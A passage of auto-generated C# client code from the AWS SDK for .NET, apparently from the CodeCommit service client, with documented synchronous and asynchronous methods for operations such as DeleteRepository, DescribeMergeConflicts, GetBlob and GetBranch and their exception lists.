cref="Amazon.CodeCommit.Model.BranchNameIsTagNameException"> /// The specified branch name is not valid because it is a tag name. Type the name of /// a current branch in the repository. For a list of valid branch names, use <a>ListBranches</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameRequiredException"> /// A branch name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitMessageLengthExceededException"> /// The commit message is too long. Provide a shorter string. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileDoesNotExistException"> /// The specified file does not exist. Verify that you have provided the correct name /// of the file, including its full path and extension. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidBranchNameException"> /// The specified reference name is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidEmailException"> /// The specified email address either contains one or more characters that are not allowed, /// or it exceeds the maximum number of characters allowed for an email address. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidParentCommitIdException"> /// The parent commit ID is not valid. The commit ID cannot be empty, and must match the /// head commit ID for the branch of the repository where you want to add or update a /// file. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.NameLengthExceededException"> /// The user name is not valid because it has exceeded the character limit for author /// names. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ParentCommitDoesNotExistException"> /// The parent commit ID is not valid because it does not exist. The specified parent /// commit ID does not exist in the specified branch of the repository. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ParentCommitIdOutdatedException"> /// The file could not be added because the provided parent commit ID is not the current /// tip of the specified branch. To view the full commit ID of the current head of the /// branch, use <a>GetBranch</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.ParentCommitIdRequiredException"> /// A parent commit ID is required. To view the full commit ID of a branch in a repository, /// use <a>GetBranch</a> or a Git command (for example, git pull or git log). /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DeleteFile">REST API Reference for DeleteFile Operation</seealso> public virtual Task<DeleteFileResponse> DeleteFileAsync(DeleteFileRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = DeleteFileRequestMarshaller.Instance; options.ResponseUnmarshaller = DeleteFileResponseUnmarshaller.Instance; return InvokeAsync<DeleteFileResponse>(request, options, cancellationToken); } #endregion #region DeleteRepository /// <summary> /// Deletes a repository. If a specified repository was already deleted, a null repository /// ID will be returned. /// /// <important> /// <para> /// Deleting a repository also deletes all associated objects and metadata. After a repository /// is deleted, all future push calls to the deleted repository will fail. /// </para> /// </important> /// </summary> /// <param name="request">Container for the necessary parameters to execute the DeleteRepository service method.</param> /// /// <returns>The response from the DeleteRepository service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DeleteRepository">REST API Reference for DeleteRepository Operation</seealso> public virtual DeleteRepositoryResponse DeleteRepository(DeleteRepositoryRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = DeleteRepositoryRequestMarshaller.Instance; options.ResponseUnmarshaller = DeleteRepositoryResponseUnmarshaller.Instance; return Invoke<DeleteRepositoryResponse>(request, options); } /// <summary> /// Deletes a repository. If a specified repository was already deleted, a null repository /// ID will be returned. /// /// <important> /// <para> /// Deleting a repository also deletes all associated objects and metadata. After a repository /// is deleted, all future push calls to the deleted repository will fail. /// </para> /// </important> /// </summary> /// <param name="request">Container for the necessary parameters to execute the DeleteRepository service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the DeleteRepository service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DeleteRepository">REST API Reference for DeleteRepository Operation</seealso> public virtual Task<DeleteRepositoryResponse> DeleteRepositoryAsync(DeleteRepositoryRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = DeleteRepositoryRequestMarshaller.Instance; options.ResponseUnmarshaller = DeleteRepositoryResponseUnmarshaller.Instance; return InvokeAsync<DeleteRepositoryResponse>(request, options, cancellationToken); } #endregion #region DescribeMergeConflicts /// <summary> /// Returns information about one or more merge conflicts in the attempted merge of two /// commit specifiers using the squash or three-way merge strategy. If the merge option /// for the attempted merge is specified as FAST_FORWARD_MERGE, an exception will be thrown. /// </summary> /// <param name="request">Container for the necessary parameters to execute the DescribeMergeConflicts service method.</param> /// /// <returns>The response from the DescribeMergeConflicts service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitRequiredException"> /// A commit was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileDoesNotExistException"> /// The specified file does not exist. Verify that you have provided the correct name /// of the file, including its full path and extension. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitException"> /// The specified commit is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictDetailLevelException"> /// The specified conflict detail level is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionStrategyException"> /// The specified conflict resolution strategy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidContinuationTokenException"> /// The specified continuation token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMaxMergeHunksException"> /// The specified value for the number of merge hunks to return is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMergeOptionException"> /// The specified merge option is not valid for this operation. Not all merge strategies /// are supported for all operations. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumFileContentToLoadExceededException"> /// The number of files to load exceeds the allowed limit. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumItemsToCompareExceededException"> /// The maximum number of items to compare between the source or destination branches /// and the merge base has exceeded the maximum allowed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MergeOptionRequiredException"> /// A merge option or stategy is required, and none was provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipsDivergenceExceededException"> /// The divergence between the tips of the provided commit specifiers is too great to /// determine whether there might be any merge conflicts. Locally compare the specifiers /// using <code>git diff</code> or a diff tool. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DescribeMergeConflicts">REST API Reference for DescribeMergeConflicts Operation</seealso> public virtual DescribeMergeConflictsResponse DescribeMergeConflicts(DescribeMergeConflictsRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = DescribeMergeConflictsRequestMarshaller.Instance; options.ResponseUnmarshaller = DescribeMergeConflictsResponseUnmarshaller.Instance; return Invoke<DescribeMergeConflictsResponse>(request, options); } /// <summary> /// Returns information about one or more merge conflicts in the attempted merge of two /// commit specifiers using the squash or three-way merge strategy. If the merge option /// for the attempted merge is specified as FAST_FORWARD_MERGE, an exception will be thrown. /// </summary> /// <param name="request">Container for the necessary parameters to execute the DescribeMergeConflicts service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the DescribeMergeConflicts service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommitDoesNotExistException"> /// The specified commit does not exist or no commit was specified, and the specified /// repository has no default branch. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.CommitRequiredException"> /// A commit was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileDoesNotExistException"> /// The specified file does not exist. Verify that you have provided the correct name /// of the file, including its full path and extension. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidCommitException"> /// The specified commit is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictDetailLevelException"> /// The specified conflict detail level is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidConflictResolutionStrategyException"> /// The specified conflict resolution strategy is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidContinuationTokenException"> /// The specified continuation token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMaxMergeHunksException"> /// The specified value for the number of merge hunks to return is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMergeOptionException"> /// The specified merge option is not valid for this operation. Not all merge strategies /// are supported for all operations. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPathException"> /// The specified path is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumFileContentToLoadExceededException"> /// The number of files to load exceeds the allowed limit. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MaximumItemsToCompareExceededException"> /// The maximum number of items to compare between the source or destination branches /// and the merge base has exceeded the maximum allowed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.MergeOptionRequiredException"> /// A merge option or stategy is required, and none was provided. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PathRequiredException"> /// The folderPath for a location cannot be null. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.TipsDivergenceExceededException"> /// The divergence between the tips of the provided commit specifiers is too great to /// determine whether there might be any merge conflicts. Locally compare the specifiers /// using <code>git diff</code> or a diff tool. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DescribeMergeConflicts">REST API Reference for DescribeMergeConflicts Operation</seealso> public virtual Task<DescribeMergeConflictsResponse> DescribeMergeConflictsAsync(DescribeMergeConflictsRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = DescribeMergeConflictsRequestMarshaller.Instance; options.ResponseUnmarshaller = DescribeMergeConflictsResponseUnmarshaller.Instance; return InvokeAsync<DescribeMergeConflictsResponse>(request, options, cancellationToken); } #endregion #region DescribePullRequestEvents /// <summary> /// Returns information about one or more pull request events. /// </summary> /// <param name="request">Container for the necessary parameters to execute the DescribePullRequestEvents service method.</param> /// /// <returns>The response from the DescribePullRequestEvents service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.ActorDoesNotExistException"> /// The specified Amazon Resource Name (ARN) does not exist in the AWS account. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidActorArnException"> /// The Amazon Resource Name (ARN) is not valid. Make sure that you have provided the /// full ARN for the user who initiated the change for the pull request, and then try /// again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidContinuationTokenException"> /// The specified continuation token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMaxResultsException"> /// The specified number of maximum results is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestEventTypeException"> /// The pull request event type is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestIdException"> /// The pull request ID is not valid. Make sure that you have provided the full ID and /// that the pull request is in the specified repository, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestDoesNotExistException"> /// The pull request ID could not be found. Make sure that you have specified the correct /// repository name and pull request ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestIdRequiredException"> /// A pull request ID is required, but none was provided. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DescribePullRequestEvents">REST API Reference for DescribePullRequestEvents Operation</seealso> public virtual DescribePullRequestEventsResponse DescribePullRequestEvents(DescribePullRequestEventsRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = DescribePullRequestEventsRequestMarshaller.Instance; options.ResponseUnmarshaller = DescribePullRequestEventsResponseUnmarshaller.Instance; return Invoke<DescribePullRequestEventsResponse>(request, options); } /// <summary> /// Returns information about one or more pull request events. /// </summary> /// <param name="request">Container for the necessary parameters to execute the DescribePullRequestEvents service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the DescribePullRequestEvents service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.ActorDoesNotExistException"> /// The specified Amazon Resource Name (ARN) does not exist in the AWS account. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidActorArnException"> /// The Amazon Resource Name (ARN) is not valid. Make sure that you have provided the /// full ARN for the user who initiated the change for the pull request, and then try /// again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidContinuationTokenException"> /// The specified continuation token is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidMaxResultsException"> /// The specified number of maximum results is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestEventTypeException"> /// The pull request event type is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidPullRequestIdException"> /// The pull request ID is not valid. Make sure that you have provided the full ID and /// that the pull request is in the specified repository, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestDoesNotExistException"> /// The pull request ID could not be found. Make sure that you have specified the correct /// repository name and pull request ID, and then try again. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.PullRequestIdRequiredException"> /// A pull request ID is required, but none was provided. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/DescribePullRequestEvents">REST API Reference for DescribePullRequestEvents Operation</seealso> public virtual Task<DescribePullRequestEventsResponse> DescribePullRequestEventsAsync(DescribePullRequestEventsRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = DescribePullRequestEventsRequestMarshaller.Instance; options.ResponseUnmarshaller = DescribePullRequestEventsResponseUnmarshaller.Instance; return InvokeAsync<DescribePullRequestEventsResponse>(request, options, cancellationToken); } #endregion #region GetBlob /// <summary> /// Returns the base-64 encoded content of an individual blob within a repository. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetBlob service method.</param> /// /// <returns>The response from the GetBlob service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BlobIdDoesNotExistException"> /// The specified blob does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BlobIdRequiredException"> /// A blob ID is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileTooLargeException"> /// The specified file exceeds the file size limit for AWS CodeCommit. For more information /// about limits in AWS CodeCommit, see <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/limits.html">AWS /// CodeCommit User Guide</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidBlobIdException"> /// The specified blob is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetBlob">REST API Reference for GetBlob Operation</seealso> public virtual GetBlobResponse GetBlob(GetBlobRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = GetBlobRequestMarshaller.Instance; options.ResponseUnmarshaller = GetBlobResponseUnmarshaller.Instance; return Invoke<GetBlobResponse>(request, options); } /// <summary> /// Returns the base-64 encoded content of an individual blob within a repository. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetBlob service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the GetBlob service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BlobIdDoesNotExistException"> /// The specified blob does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BlobIdRequiredException"> /// A blob ID is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.FileTooLargeException"> /// The specified file exceeds the file size limit for AWS CodeCommit. For more information /// about limits in AWS CodeCommit, see <a href="https://docs.aws.amazon.com/codecommit/latest/userguide/limits.html">AWS /// CodeCommit User Guide</a>. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidBlobIdException"> /// The specified blob is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetBlob">REST API Reference for GetBlob Operation</seealso> public virtual Task<GetBlobResponse> GetBlobAsync(GetBlobRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = GetBlobRequestMarshaller.Instance; options.ResponseUnmarshaller = GetBlobResponseUnmarshaller.Instance; return InvokeAsync<GetBlobResponse>(request, options, cancellationToken); } #endregion #region GetBranch /// <summary> /// Returns information about a repository branch, including its name and the last commit /// ID. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetBranch service method.</param> /// /// <returns>The response from the GetBranch service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BranchDoesNotExistException"> /// The specified branch does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameRequiredException"> /// A branch name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidBranchNameException"> /// The specified reference name is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetBranch">REST API Reference for GetBranch Operation</seealso> public virtual GetBranchResponse GetBranch(GetBranchRequest request) { var options = new InvokeOptions(); options.RequestMarshaller = GetBranchRequestMarshaller.Instance; options.ResponseUnmarshaller = GetBranchResponseUnmarshaller.Instance; return Invoke<GetBranchResponse>(request, options); } /// <summary> /// Returns information about a repository branch, including its name and the last commit /// ID. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetBranch service method.</param> /// <param name="cancellationToken"> /// A cancellation token that can be used by other objects or threads to receive notice of cancellation. /// </param> /// /// <returns>The response from the GetBranch service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.BranchDoesNotExistException"> /// The specified branch does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.BranchNameRequiredException"> /// A branch name is required but was not specified. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionIntegrityChecksFailedException"> /// An encryption integrity check failed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyAccessDeniedException"> /// An encryption key could not be accessed. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyDisabledException"> /// The encryption key is disabled. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyNotFoundException"> /// No encryption key was found. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.EncryptionKeyUnavailableException"> /// The encryption key is not available. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidBranchNameException"> /// The specified reference name is not valid. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.InvalidRepositoryNameException"> /// At least one specified repository name is not valid. /// /// <note> /// <para> /// This exception only occurs when a specified repository name is not valid. Other exceptions /// occur when a required repository parameter is missing, or when a specified repository /// does not exist. /// </para> /// </note> /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryDoesNotExistException"> /// The specified repository does not exist. /// </exception> /// <exception cref="Amazon.CodeCommit.Model.RepositoryNameRequiredException"> /// A repository name is required but was not specified. /// </exception> /// <seealso href="http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/GetBranch">REST API Reference for GetBranch Operation</seealso> public virtual Task<GetBranchResponse> GetBranchAsync(GetBranchRequest request, System.Threading.CancellationToken cancellationToken = default(CancellationToken)) { var options = new InvokeOptions(); options.RequestMarshaller = GetBranchRequestMarshaller.Instance; options.ResponseUnmarshaller = GetBranchResponseUnmarshaller.Instance; return InvokeAsync<GetBranchResponse>(request, options, cancellationToken); } #endregion #region GetComment /// <summary> /// Returns the content of a comment made on a change, file, or commit in a repository. /// </summary> /// <param name="request">Container for the necessary parameters to execute the GetComment service method.</param> /// /// <returns>The response from the GetComment service method, as returned by CodeCommit.</returns> /// <exception cref="Amazon.CodeCommit.Model.CommentDeletedException"> /// This comment has already been deleted. You cannot edit or delete a deleted comment. /// </exception> /// <exception 